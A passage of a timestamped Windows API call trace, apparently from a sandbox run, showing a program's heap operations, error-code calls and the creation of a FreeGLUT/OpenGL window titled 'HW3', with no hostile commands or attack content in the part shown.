Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b16f8 [0127.195] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1708 [0127.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1718 [0127.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1728 [0127.196] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1738 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1748 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1758 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1768 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1778 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5b1400 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5b1410 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1428 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1410 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5b1400 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1428 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5b1428 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5b1460 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1428 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x68) returned 0x5b29b8 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1460 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x98) returned 0x5b1400 [0127.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b29b8 | out: hHeap=0x5b0000) returned 1 [0127.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5b29b8 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5b2aa0 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b29b8 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5b2bf8 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2aa0 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f0) returned 0x5b2df8 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2bf8 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x468) returned 0x5b30f0 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2df8 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1400 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x320) returned 0x5b29b8 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b30f0 | out: hHeap=0x5b0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1778 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x320) returned 0x5b2ce0 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b29b8 | out: hHeap=0x5b0000) returned 1 [0127.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1400 | out: hHeap=0x5b0000) returned 1 [0127.197] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.198] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5b11f8) returned 0x80 [0127.198] GetLastError () returned 0x0 [0127.198] SetLastError (dwErrCode=0x0) [0127.198] GetLastError () returned 0x0 [0127.198] SetLastError (dwErrCode=0x0) [0127.198] GetLastError () returned 0x0 [0127.198] SetLastError (dwErrCode=0x0) [0127.198] GetLastError () returned 0x0 [0127.198] SetLastError (dwErrCode=0x0) [0127.198] GetLastError () returned 0x0 [0127.198] SetLastError (dwErrCode=0x0) [0127.198] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.199] SetLastError (dwErrCode=0x0) [0127.199] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xd04bcea0, dwHighDateTime=0x1d595b2)) [0127.200] GetLastError () returned 0x0 [0127.200] SetLastError (dwErrCode=0x0) [0127.200] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.201] SetLastError (dwErrCode=0x0) [0127.201] GetLastError () returned 0x0 [0127.202] SetLastError (dwErrCode=0x0) [0127.202] GetLastError () returned 0x0 [0127.202] SetLastError (dwErrCode=0x0) [0127.202] GetLastError () returned 0x0 [0127.202] SetLastError (dwErrCode=0x0) [0127.202] GetLastError () returned 0x0 [0127.202] SetLastError (dwErrCode=0x0) [0127.202] GetLastError () returned 0x0 [0127.202] SetLastError (dwErrCode=0x0) [0127.202] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0127.202] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe98 | out: lpWndClass=0x18fe98) returned 0 [0127.202] LoadIconA (hInstance=0x400000, lpIconName="GLUT_ICON") returned 0x0 [0127.203] LoadIconA (hInstance=0x0, lpIconName=0x7f05) returned 0x10031 [0127.203] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0127.203] RegisterClassA (lpWndClass=0x18fe98) returned 0x2ac119 [0127.203] GetSystemMetrics (nIndex=0) returned 1440 [0127.259] GetSystemMetrics (nIndex=1) returned 900 [0127.259] GetDesktopWindow () returned 0x10010 [0127.259] GetDC (hWnd=0x10010) returned 0x40107c2 [0127.259] GetDeviceCaps (hdc=0x40107c2, index=4) returned 320 [0127.259] GetDeviceCaps (hdc=0x40107c2, index=6) returned 240 [0127.259] ReleaseDC (hWnd=0x10010, hDC=0x40107c2) returned 1 [0127.259] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0127.260] timeGetTime () returned 0x11354aa [0127.260] timeGetTime () returned 0x11354aa [0127.260] GetLastError () returned 0x0 [0127.260] SetLastError (dwErrCode=0x0) [0127.260] GetLastError () returned 0x0 [0127.260] SetLastError (dwErrCode=0x0) [0127.260] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\FreeGLUT", phkResult=0x18fe60 | out: phkResult=0x18fe60*=0x0) returned 0x2 [0127.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b8) returned 0x5b29b8 [0127.260] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0127.260] CopyRect (in: lprcDst=0x18fdd0, lprcSrc=0x18fe04 | out: lprcDst=0x18fdd0) returned 1 [0127.260] AdjustWindowRectEx (in: lpRect=0x18fdd0, dwStyle=0x6cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fdd0) returned 1 [0127.261] CopyRect (in: lprcDst=0x18fe04, lprcSrc=0x18fdd0 | out: lprcDst=0x18fe04) returned 1 [0127.261] CreateWindowExA (dwExStyle=0x0, lpClassName="FREEGLUT", lpWindowName="HW3", dwStyle=0x6cf0000, X=0, Y=100, nWidth=66, nHeight=88, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x5b29b8) returned 0x10136 [0127.262] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x24, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0127.262] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x81, wParam=0x0, lParam=0x18f9e8) returned 0x1 [0127.264] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x83, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0127.265] GetDC (hWnd=0x10136) returned 0xc0101e7 [0127.265] GetDeviceCaps (hdc=0xc0101e7, index=12) returned 32 [0127.265] ChoosePixelFormat (hdc=0xc0101e7, ppfd=0x18f714) returned 1 [0127.266] SetPixelFormat (hdc=0xc0101e7, format=1, ppfd=0x18f714) returned 1 [0127.267] wglCreateContext () returned 0x10000 [0127.273] ReleaseDC (hWnd=0x10136, hDC=0xc0101e7) returned 1 [0127.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1778 [0127.273] SetWindowLongA (hWnd=0x10136, nIndex=-16, dwNewLong=114229248) returned 114229248 [0127.273] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7c, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0127.273] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7d, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0127.304] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0127.305] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0127.305] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0127.305] SetWindowPos (hWnd=0x10136, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x27) returned 1 [0127.306] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.306] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x83, wParam=0x1, lParam=0x18fd84) returned 0x0 [0127.307] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.308] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x1c, wParam=0x1, lParam=0x12c) returned 0x0 [0127.308] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0127.494] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0127.501] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0127.502] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0127.502] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0127.502] SetActiveWindow (hWnd=0x10136) returned 0x10136 [0127.502] UpdateWindow (hWnd=0x10136) returned 1 [0127.503] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.503] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x83, wParam=0x1, lParam=0x18f990) returned 0x0 [0127.504] ShowWindow (hWnd=0x10136, nCmdShow=1) returned 0 [0127.504] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.506] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0127.507] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x14, wParam=0xc0101e7, lParam=0x0) returned 0x0 [0127.508] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.508] GetDC (hWnd=0x10136) returned 0xc0101e7 [0127.508] wglMakeCurrent () returned 0x1 [0127.509] glViewport () returned 0x5fceb0 [0127.509] IsIconic (hWnd=0x10136) returned 0 [0127.509] GetWindowRect (in: hWnd=0x10136, lpRect=0x18fb08 | out: lpRect=0x18fb08) returned 1 [0127.509] ShowCursor (bShow=1) returned 1 [0127.509] glDrawBuffer () returned 0x1 [0127.509] glReadBuffer () returned 0x1 [0127.509] wglGetProcAddress () returned 0x0 [0127.509] glClearColor () returned 0x5fceb0 [0127.509] glClearDepth () returned 0x5fcec8 [0127.509] glEnable () returned 0x5fced8 [0127.509] glDepthFunc () returned 0x5fcee0 [0127.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1400 [0127.509] timeGetTime () returned 0x1135594 [0127.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1420 [0127.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1430 [0127.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1440 [0127.509] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5b1450 [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1468 [0127.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1450 | out: hHeap=0x5b0000) returned 1 [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5b1488 [0127.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1468 | out: hHeap=0x5b0000) returned 1 [0127.510] GetLastError () returned 0x7f [0127.510] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5b1450 [0127.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1488 | out: hHeap=0x5b0000) returned 1 [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5b1488 [0127.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1450 | out: hHeap=0x5b0000) returned 1 [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1450 [0127.511] GetLastError () returned 0x7f [0127.511] SetLastError (dwErrCode=0x7f) [0127.511] GetLastError () returned 0x7f [0127.512] SetLastError (dwErrCode=0x7f) [0127.512] GetLastError () returned 0x7f [0127.512] SetLastError (dwErrCode=0x7f) [0127.512] GetLastError () returned 0x7f [0127.512] SetLastError (dwErrCode=0x7f) [0127.512] GetLastError () returned 0x7f [0127.512] SetLastError (dwErrCode=0x7f) [0127.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5b2b78 [0127.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1460 [0127.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1450 | out: hHeap=0x5b0000) returned 1 [0127.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5b1450 [0127.513] GetLastError () returned 0x7f [0127.513] SetLastError (dwErrCode=0x7f) [0127.513] GetLastError () returned 0x7f [0127.513] SetLastError (dwErrCode=0x7f) [0127.513] GetLastError () returned 0x7f [0127.513] SetLastError (dwErrCode=0x7f) [0127.513] GetLastError () returned 0x7f [0127.513] SetLastError (dwErrCode=0x7f) [0127.513] GetLastError () returned 0x7f [0127.513] SetLastError (dwErrCode=0x7f) [0127.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5b2bc8 [0127.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd888 [0127.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd898 [0127.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1460 | out: hHeap=0x5b0000) returned 1 [0127.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2b78 | out: hHeap=0x5b0000) returned 1 [0127.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1450 | out: hHeap=0x5b0000) returned 1 [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd8) returned 0x5be070 [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0127.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd898 | out: hHeap=0x5b0000) returned 1 [0127.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd888 | out: hHeap=0x5b0000) returned 1 [0127.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2bc8 | out: hHeap=0x5b0000) returned 1 [0127.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.514] SetLastError (dwErrCode=0x7f) [0127.514] GetLastError () returned 0x7f [0127.515] SetLastError (dwErrCode=0x7f) [0127.515] GetLastError () returned 0x7f [0127.515] SetLastError (dwErrCode=0x7f) [0127.515] GetLastError () returned 0x7f [0127.515] SetLastError (dwErrCode=0x7f) [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5b2b78 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd888 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd898 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8e8 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8f8 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be070 | out: hHeap=0x5b0000) returned 1 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8a8 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5b1450 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5b1468 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1450 | out: hHeap=0x5b0000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5b2ca0 [0127.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b1468 | out: hHeap=0x5b0000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5b1450 [0127.515] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.515] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0127.517] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0127.517] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x1c, wParam=0x0, lParam=0x4fc) returned 0x0 [0127.517] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0127.517] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0127.517] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0127.517] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.517] TranslateMessage (lpMsg=0x18feb4) returned 0 [0127.517] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0127.517] GetUpdateRect (in: hWnd=0x10136, lpRect=0x18fb30, bErase=0 | out: lpRect=0x18fb30) returned 1 [0127.517] BeginPaint (in: hWnd=0x10136, lpPaint=0x18faf0 | out: lpPaint=0x18faf0) returned 0xc0101e7 [0127.517] EndPaint (hWnd=0x10136, lpPaint=0x18faf0) returned 1 [0127.517] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 0 [0127.517] timeGetTime () returned 0x113559d [0127.517] GetWindowRect (in: hWnd=0x10136, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.517] GetClientRect (in: hWnd=0x10136, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.517] glViewport () returned 0x5fcee8 [0127.517] wglGetCurrentDC () returned 0xc0101e7 [0127.518] WindowFromDC (hDC=0xc0101e7) returned 0x10136 [0127.518] ShowWindow (hWnd=0x10136, nCmdShow=0) returned 1 [0127.518] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x46, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.520] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x47, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.520] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0127.521] GetClassFileOrMime (pBC=0x0, szFilename=0x0, pBuffer=0x0, cbSize=0x0, szMime=0x0, dwReserved=0x0, pclsid=0x0) returned 0x80070057 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetParent (hWnd=0x0) returned 0x0 [0127.521] GetPerformanceInfo (pPerformanceInformation=0x18fa6c, cb=0x0) returned 0 [0127.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be070 [0127.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be090 [0127.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be0c8 [0127.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be0e8 [0127.521] 